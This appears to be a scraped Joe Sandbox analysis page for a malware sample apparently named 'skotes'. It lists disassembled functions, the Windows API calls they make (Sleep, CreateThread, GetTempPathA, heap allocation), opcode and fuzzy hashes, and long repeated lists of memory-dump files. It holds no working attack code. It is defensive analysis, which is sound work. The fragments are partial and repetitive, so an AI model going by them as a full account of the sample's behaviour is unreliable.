Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c0633147bf9df2614b0f5be3612728a72606a788e5291a5d6feb5602e5d3d2a0
Instruction ID: 5ba5af3f393911945b0e46270764d3ec54ef1f4324f45756842a5a450cc09e9f
Opcode Fuzzy Hash: c0633147bf9df2614b0f5be3612728a72606a788e5291a5d6feb5602e5d3d2a0
Instruction Fuzzy Hash: 82E0CD3129E30095F61437A96989B2F73D8D7F6F06F310425F514C70D8DB61958185A3

Function 00AB6C70 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00AB6CF5

Strings

f, xrefs: 00AB6CAD

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: f
API String ID: 3472027048-3739981918
Opcode ID: 8fdb508c9b100fe3ceb08edcf60ad917f0b4703c8cf285051b9aa19c982c224f
Instruction ID: dd672df6099eea94e682084893830add70d8f44dbc30a3ae3d5df318fa1ec218
Opcode Fuzzy Hash: 8fdb508c9b100fe3ceb08edcf60ad917f0b4703c8cf285051b9aa19c982c224f
Instruction Fuzzy Hash: 1DF0F971E00640BBC700BB788E07B5E7FB8EB07760F800758E411672E2DB741A0447D2

Function 00AB6D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00AB6D10
Sleep.KERNEL32(00007530), ref: 00AB6D25

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 848e50bee5320eaea3ff881f600da782cec6b11844f4478e2e8ab7d515cdb228
Instruction ID: faddd9ce5311135dcc49415265de276449351d0df09324757870cd0a2aaf7e84
Opcode Fuzzy Hash: 848e50bee5320eaea3ff881f600da782cec6b11844f4478e2e8ab7d515cdb228
Instruction Fuzzy Hash: 7AD08C307C4314F6F37007A06C07FA6AE34AB0AF42F254840B34C3F0D285E8310086AC

Function 00AA8B30 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?,61AD01A7,?,00000000), ref: 00AA8B77

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: aa29431b252151c1db008626b936a3c7cff0c43f55be1b99f9d99db73f645758
Instruction ID: 0233f56758de06c29efe3417b423587640788a49d003da302bdf698173e5f306
Opcode Fuzzy Hash: aa29431b252151c1db008626b936a3c7cff0c43f55be1b99f9d99db73f645758
Instruction Fuzzy Hash: DB51C1719011589BDB28DF28CD95BDDBBB9EB46310F1082D9E409A72C2DB395F84CF91

Function 00AD7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,00AD705B,?,?,00000000,00000000), ref: 00AD7166

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: c82629ad6e211d5b49f4e9d855ce298abbaeb10818056b8f6d4355fe494039f8
Instruction ID: fea20c20bea551037191e5ac48b66d06ff3abfab001b71192b63840e943876b8
Opcode Fuzzy Hash: c82629ad6e211d5b49f4e9d855ce298abbaeb10818056b8f6d4355fe494039f8
Instruction Fuzzy Hash: 3E11E87290410DABDB14DFA5C985EDFB7BCAB48310F605366F612E2190FB30EA49CB61

Function 00ADAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00ADAC8D

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 8ffd852c1c70987427ecc70e108f7c3e3c2ac1d40c47cf2395e6dcba76f00811
Instruction ID: 6528054a7184cc660d8c1580ce81f613e8841fb8cd1465e59d07b5aa843aedcd
Opcode Fuzzy Hash: 8ffd852c1c70987427ecc70e108f7c3e3c2ac1d40c47cf2395e6dcba76f00811
Instruction Fuzzy Hash: 4E111571A0420AAFCF05DF98E941A9B7BF4EF48314F04406AF809AB351DA30EE21CB65

Function 00ADB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,61AD01A7,?,?,00ABD3FC,61AD01A7,?,00AB7A8B,?,?,?,?,?,?,00AA7465,?), ref: 00ADB07E

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
